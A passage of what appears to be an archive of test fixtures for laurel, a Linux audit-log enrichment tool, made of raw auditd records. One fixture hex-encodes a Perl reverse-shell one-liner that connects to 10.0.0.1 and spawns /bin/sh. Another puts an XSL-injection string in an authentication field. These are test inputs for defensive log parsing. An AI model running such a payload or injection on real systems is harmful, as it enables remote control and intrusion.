msg=audit(1631798689.083:65686): avc: denied { setuid } for pid=15381 comm="laurel" capability=7 scontext=system_u:system_r:auditd_t:s0 tcontext=system_u:system_r:auditd_t:s0 tclass=capability permissive=1 laurel-0.5.6/src/testdata/line-avc-granted.txt000064400000000000000000000003031046102023000173750ustar 00000000000000type=AVC msg=audit(1631870323.500:7098): avc: granted { setsecparam } for pid=11209 comm="tuned" scontext=system_u:system_r:tuned_t:s0 tcontext=system_u:object_r:security_t:s0 tclass=security laurel-0.5.6/src/testdata/line-broken-avc-info.txt000064400000000000000000000003401046102023000201630ustar 00000000000000type=AVC msg=audit(1634728455.294:53732): apparmor="STATUS" operation="profile_replace" info="same as current profile, skipping" profile="unconfined" name="snap-update-ns.amazon-ssm-agent" pid=3981295 comm="apparmor_parser" laurel-0.5.6/src/testdata/line-broken-subj1.txt000064400000000000000000000005361046102023000175140ustar 00000000000000type=SYSCALL msg=audit(1634628127.584:166): arch=c000003e syscall=59 success=yes exit=0 a0=55b26d44a6a0 a1=55b26d44a878 a2=55b26d44a8e8 a3=7faeccab5850 items=2 ppid=659 pid=661 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm="dhclient" exe="/sbin/dhclient" subj=/{,usr/}sbin/dhclient key=(null) laurel-0.5.6/src/testdata/line-broken-subj2.txt000064400000000000000000000005271046102023000175150ustar 00000000000000type=SYSCALL msg=audit(1634623555.431:13835339): arch=c000003e syscall=49 success=yes exit=0 a0=15 a1=55c5e046e264 a2=1c a3=7ffc8fab77ec items=0 ppid=1899774 pid=1899780 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm="ntpd" exe="/usr/sbin/ntpd" subj==/usr/sbin/ntpd (enforce) key=(null) laurel-0.5.6/src/testdata/line-daemon-end.txt000064400000000000000000000001541046102023000172150ustar 00000000000000type=DAEMON_END msg=audit(1640080836.094:7063): op=terminate auid=0 pid=27347 subj= res=successAUID="root" laurel-0.5.6/src/testdata/line-eoe.txt000064400000000000000000000000521046102023000157530ustar 00000000000000type=EOE msg=audit(1615225617.302:25836): laurel-0.5.6/src/testdata/line-execve.txt000064400000000000000000000001001046102023000164540ustar 00000000000000type=EXECVE msg=audit(1614788539.386:13232): argc=0 a0="whoami" laurel-0.5.6/src/testdata/line-mac-policy-load.txt000064400000000000000000000001631046102023000201600ustar 00000000000000type=MAC_POLICY_LOAD msg=audit(1670142818.140:74058301): policy loaded auid=4294967295 ses=4294967295AUID="unset" laurel-0.5.6/src/testdata/line-netfilter.txt000064400000000000000000000002201046102023000171740ustar 00000000000000type=NETFILTER_CFG msg=audit(1643035021.052:428): table=?:0;?:0 family=0 entries=2 op=nft_register_gen pid=1027 subj=unconfined comm="ebtables" laurel-0.5.6/src/testdata/line-netlabel.txt000064400000000000000000000001521046102023000167720ustar 00000000000000type=MAC_UNLBL_ALLOW msg=audit(1631783567.248:3): netlabel: auid=0 ses=0 unlbl_accept=1 old=0AUID="root" laurel-0.5.6/src/testdata/line-path-enriched.txt000064400000000000000000000003761046102023000177270ustar 00000000000000type=PATH msg=audit(1615113648.978:15219): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=262146 dev=ca:03 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0OUID="root" OGID="root" laurel-0.5.6/src/testdata/line-path.txt000064400000000000000000000003441046102023000161430ustar 00000000000000node=work type=PATH msg=audit(1614788539.386:13232): item=0 name="/usr/bin/whoami" inode=261214 dev=ca:03 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0 laurel-0.5.6/src/testdata/line-sockaddr-unix-2.txt000064400000000000000000000005331046102023000201210ustar 00000000000000type=SOCKADDR msg=audit(1703653288.035:118019478): saddr=01002F746D702F7B39653263623038372D393734342D343137622D383435662D3035636136636534353763317D0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000SADDR={ fam=local path=/tmp/{9e2cb087-9744-417b-845f-05ca6ce457c1} } laurel-0.5.6/src/testdata/line-sockaddr-unix.txt000064400000000000000000000003271046102023000177630ustar 00000000000000type=SOCKADDR msg=audit(1670486666.214:1232): saddr=01002F746D702F2E7B46443244443844342D463641412D344437342D413645312D4145464142313833444545427DSADDR={ fam=local path=/tmp/.{FD2DD8D4-F6AA-4D74-A6E1-AEFAB183DEEB} } laurel-0.5.6/src/testdata/line-sockaddr-unknown.txt000064400000000000000000000001511046102023000204720ustar 00000000000000type=SOCKADDR msg=audit(1670427457.195:550): saddr=00000000000000000000000000000000SADDR=unknown family laurel-0.5.6/src/testdata/line-syscall.txt000064400000000000000000000007021046102023000166570ustar 00000000000000type=SYSCALL msg=audit(1615114232.375:15558): arch=c000003e syscall=59 success=yes exit=0 a0=63b29337fd18 a1=63b293387d58 a2=63b293375640 a3=fffffffffffff000 items=2 ppid=10883 pid=10884 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=1 comm="whoami" exe="/usr/bin/whoami" key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" laurel-0.5.6/src/testdata/line-tty.txt000064400000000000000000000003071046102023000160260ustar 00000000000000type=TTY msg=audit(1702500511.459:370948): tty pid=260398 uid=0 auid=4294967295 ses=4294967295 major=136 minor=1 comm="bash" data=72706D202D7161207C2067726570207379736C6F670DUID="root" AUID="unset" laurel-0.5.6/src/testdata/line-unknown.txt000064400000000000000000000001121046102023000166770ustar 00000000000000type=UNKNOWN[1334] msg=audit(1626883065.201:216697): prog-id=45 op=UNLOAD laurel-0.5.6/src/testdata/line-user-acct.txt000064400000000000000000000003471046102023000171000ustar 00000000000000type=USER_ACCT msg=audit(1615113648.981:15220): pid=9460 uid=1000 auid=1000 ses=1 msg='op=PAM:accounting grantors=pam_permit acct="user" exe="/usr/bin/sudo" hostname=? addr=? terminal=/dev/pts/1 res=success'UID="user" AUID="user" laurel-0.5.6/src/testdata/line-user-auth-2.txt000064400000000000000000000004061046102023000172620ustar 00000000000000type=USER_AUTH msg=audit(1670330949.860:161339): pid=5519 uid=0 auid=4294967295 ses=4294967295 msg='op=PAM:authentication grantors=? acct="system-property('xsl:vendor')/>" exe="/usr/bin/python3.8" hostname=? addr=? terminal=? res=failed'UID="root" AUID="unset" laurel-0.5.6/src/testdata/line-user-auth.txt000064400000000000000000000004431046102023000171240ustar 00000000000000type=USER_AUTH msg=audit(1670424651.175:10465161): pid=1932610 uid=0 auid=4294967295 ses=4294967295 subj=/usr/sbin/cupsd (enforce) msg='op=PAM:authentication grantors=pam_permit acct="user" exe="/usr/sbin/cupsd" hostname=localhost addr=::1 terminal=cups res=success'UID="root" AUID="unset" laurel-0.5.6/src/testdata/record-adjntpval.txt000064400000000000000000000012031046102023000175140ustar 00000000000000type=TIME_ADJNTPVAL msg=audit(1640024915.264:4237): op=freq old=-37201248256000 new=-37237817344000 type=SYSCALL msg=audit(1640024915.264:4237): arch=c000003e syscall=159 success=yes exit=0 a0=7ffeaf991370 a1=0 a2=2710 a3=0 items=0 ppid=1 pid=820 auid=4294967295 uid=995 gid=991 euid=995 suid=995 fsuid=995 egid=991 sgid=991 fsgid=991 tty=(none) ses=4294967295 comm="chronyd" exe="/usr/sbin/chronyd" subj=system_u:system_r:chronyd_t:s0 key=(null)ARCH=x86_64 SYSCALL=adjtimex AUID="unset" UID="chrony" GID="chrony" EUID="chrony" SUID="chrony" FSUID="chrony" EGID="chrony" SGID="chrony" FSGID="chrony" type=EOE msg=audit(1640024915.264:4237): laurel-0.5.6/src/testdata/record-avc-apparmor.txt000064400000000000000000000013461046102023000201310ustar 00000000000000type=SYSCALL msg=audit(1634728455.294:53732): arch=c000003e syscall=1 success=yes exit=19577 a0=7 a1=560174cd7790 a2=4c79 a3=0 items=0 ppid=3981294 pid=3981295 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm="apparmor_parser" exe="/usr/sbin/apparmor_parser" subj=unconfined key=(null)ARCH=x86_64 SYSCALL=write AUID="unset" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=AVC msg=audit(1634728455.294:53732): apparmor="STATUS" operation="profile_replace" info="same as current profile, skipping" profile="unconfined" name="snap-update-ns.amazon-ssm-agent" pid=3981295 comm="apparmor_parser" type=EOE msg=audit(1634728455.294:53732): laurel-0.5.6/src/testdata/record-execve-long.txt000064400000000000000000000430321046102023000177530ustar 00000000000000type=SYSCALL msg=audit(1615150974.493:21028): arch=c000003e syscall=59 success=yes exit=0 a0=593d4c9f5f50 a1=593d4c9adc80 a2=593d4c9c38a0 a3=fffffffffffff878 items=2 ppid=10881 pid=8832 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts1 ses=1 comm="echo" exe="/usr/bin/echo" key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="user" GID="user" EUID="user" SUID="user" FSUID="user" EGID="user" SGID="user" FSGID="user" type=EXECVE msg=audit(1615150974.493:21028): argc=2 a0="/bin/echo" a1_len=16384 a1[0]=626161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616163 type=EXECVE msg=audit(1615150974.493:21028): a1[1]=6461616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616165 type=EXECVE msg=audit(1615150974.493:21028): a1[2]=666161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616167 type=CWD msg=audit(1615150974.493:21028): cwd="/tmp" type=PATH msg=audit(1615150974.493:21028): item=0 name="/bin/echo" inode=261073 dev=ca:03 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0OUID="root" OGID="root" type=PATH msg=audit(1615150974.493:21028): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=262146 dev=ca:03 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0OUID="root" OGID="root" type=PROCTITLE msg=audit(1615150974.493:21028): proctitle=2F62696E2F6563686F0061616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161 type=EOE msg=audit(1615150974.493:21028): laurel-0.5.6/src/testdata/record-execve.txt000064400000000000000000000022361046102023000170170ustar 00000000000000type=SYSCALL msg=audit(1615114232.375:15558): arch=c000003e syscall=59 success=yes exit=0 a0=63b29337fd18 a1=63b293387d58 a2=63b293375640 a3=fffffffffffff000 items=2 ppid=10883 pid=10884 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=1 comm="whoami" exe="/usr/bin/whoami" key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=EXECVE msg=audit(1615114232.375:15558): argc=1 a0="whoami" type=CWD msg=audit(1615114232.375:15558): cwd="/home/user/tmp" type=PATH msg=audit(1615114232.375:15558): item=0 name="/usr/bin/whoami" inode=261214 dev=ca:03 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0OUID="root" OGID="root" type=PATH msg=audit(1615114232.375:15558): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=262146 dev=ca:03 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0OUID="root" OGID="root" type=PROCTITLE msg=audit(1615114232.375:15558): proctitle="whoami" type=EOE msg=audit(1615114232.375:15558): laurel-0.5.6/src/testdata/record-login.txt000064400000000000000000000012351046102023000166460ustar 00000000000000type=LOGIN msg=audit(1640027821.949:151316): pid=72605 uid=0 subj=unconfined old-auid=4294967295 auid=0 tty=(none) old-ses=4294967295 ses=325 res=1UID="root" OLD-AUID="unset" AUID="root" type=SYSCALL msg=audit(1640027821.949:151316): arch=c00000b7 syscall=64 success=yes exit=1 a0=7 a1=ffffe505f9e0 a2=1 a3=ffff90795f10 items=0 ppid=519 pid=72605 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=325 comm="cron" exe="/usr/sbin/cron" subj=unconfined key=(null)ARCH=aarch64 SYSCALL=write AUID="root" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=EOE msg=audit(1640027821.949:151316): laurel-0.5.6/src/testdata/record-nscd.txt000064400000000000000000000020201046102023000164560ustar 00000000000000type=SYSCALL msg=audit(1705071450.879:29498378): arch=c000003e syscall=42 success=no exit=-2 a0=4 a1=7ffeabb1aa00 a2=6e a3=0 items=1 ppid=1064378 pid=3736674 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts9 ses=2 comm="ls" exe="/usr/bin/ls" subj=unconfined key=(null)ARCH=x86_64 SYSCALL=connect AUID="user" UID="user" GID="user" EUID="user" SUID="user" FSUID="user" EGID="user" SGID="user" FSGID="user" type=SOCKADDR msg=audit(1705071450.879:29498378): saddr=01002F7661722F72756E2F6E7363642F736F636B6574000000000000000000000000000000000000000000000000000038530200000000003853020000000000001000000000000001000000050000000060020000000000006002000000000000600200000000003C4C15000000SADDR={ saddr_fam=local path=/var/run/nscd/socket } type=CWD msg=audit(1705071450.879:29498378): cwd="/home/user" type=PATH msg=audit(1705071450.879:29498378): item=0 name="/var/run/nscd/socket" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 type=EOE msg=audit(1705071450.879:29498378): laurel-0.5.6/src/testdata/record-perl-reverse-shell.txt000064400000000000000000000040131046102023000212530ustar 00000000000000type=SYSCALL msg=audit(1626611363.720:348501): arch=c000003e syscall=59 success=yes exit=0 a0=55c094deb5c0 a1=55c094dea770 a2=55c094dbf1b0 a3=fffffffffffff286 items=3 ppid=722076 pid=724395 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts3 ses=3 comm="perl" exe="/usr/bin/perl" subj==unconfined key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=EXECVE msg=audit(1626611363.720:348501): argc=3 a0="perl" a1="-e" a2=75736520536F636B65743B24693D2231302E302E302E31223B24703D313233343B736F636B657428532C50465F494E45542C534F434B5F53545245414D2C67657470726F746F62796E616D6528227463702229293B696628636F6E6E65637428532C736F636B616464725F696E2824702C696E65745F61746F6E282469292929297B6F70656E28535444494E2C223E265322293B6F70656E285354444F55542C223E265322293B6F70656E285354444552522C223E265322293B6578656328222F62696E2F7368202D6922293B7D3B type=CWD msg=audit(1626611363.720:348501): cwd="/root" type=PATH msg=audit(1626611363.720:348501): item=0 name="/usr/bin/perl" inode=401923 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1626611363.720:348501): item=1 name="/usr/bin/perl" inode=401923 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1626611363.720:348501): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=404797 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PROCTITLE msg=audit(1626611363.720:348501): proctitle=7065726C002D650075736520536F636B65743B24693D2231302E302E302E31223B24703D313233343B736F636B657428532C50465F494E45542C534F434B5F53545245414D2C67657470726F746F62796E616D6528227463702229293B696628636F6E6E65637428532C736F636B616464725F696E2824702C696E65745F6174 type=EOE msg=audit(1626611363.720:348501): laurel-0.5.6/src/testdata/record-service-start.txt000064400000000000000000000016421046102023000203330ustar 00000000000000type=SERVICE_START msg=audit(1661853391.646:4486226): pid=1 uid=0 auid=4294967295 ses=4294967295 subj=? msg='unit=apt-daily comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success'UID="root" AUID="unset" type=SYSCALL msg=audit(1661853391.646:4486226): arch=c000003e syscall=44 success=yes exit=120 a0=2e a1=7fff698a0190 a2=78 a3=0 items=0 ppid=0 pid=1 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm="systemd" exe="/usr/lib/systemd/systemd" subj=? key=(null)ARCH=x86_64 SYSCALL=sendto AUID="unset" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=SOCKADDR msg=audit(1661853391.646:4486226): saddr=100000000000000000000000SADDR={ fam=netlink nlnk-fam=16 nlnk-pid=0 } type=UNKNOWN[1420] msg=audit(1661853391.646:4486226): subj_apparmor=unconfined type=EOE msg=audit(1661853391.646:4486226): laurel-0.5.6/src/testdata/record-syscall-key.txt000064400000000000000000000011401046102023000177710ustar 00000000000000type=SYSCALL msg=audit(1628602815.266:2366): arch=c000003e syscall=59 success=yes exit=0 a0=2557470 a1=247b510 a2=2565820 a3=5bb items=2 ppid=3193 pid=6382 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=1 comm="cat" exe="/usr/bin/cat" key="filter-this" type=SYSCALL msg=audit(1628602815.266:2366): arch=c000003e syscall=59 success=yes exit=0 a0=2557470 a1=247b510 a2=2565820 a3=5bb items=2 ppid=3193 pid=6382 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=1 comm="cat" exe="/usr/bin/cat" key="this-too" type=EOE msg=audit(1628602815.266:2366): laurel-0.5.6/src/testdata/record-syscall-nullkey.txt000064400000000000000000000032021046102023000206650ustar 00000000000000type=PROCTITLE msg=audit(1678282381.452:102337): proctitle="(systemd)" type=SYSCALL msg=audit(1678282381.452:102337): arch=c000003e syscall=1 success=yes exit=5 a0=9 a1=7ffd4ac563d1 a2=5 a3=0 items=0 ppid=1 pid=3489504 auid=34005 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 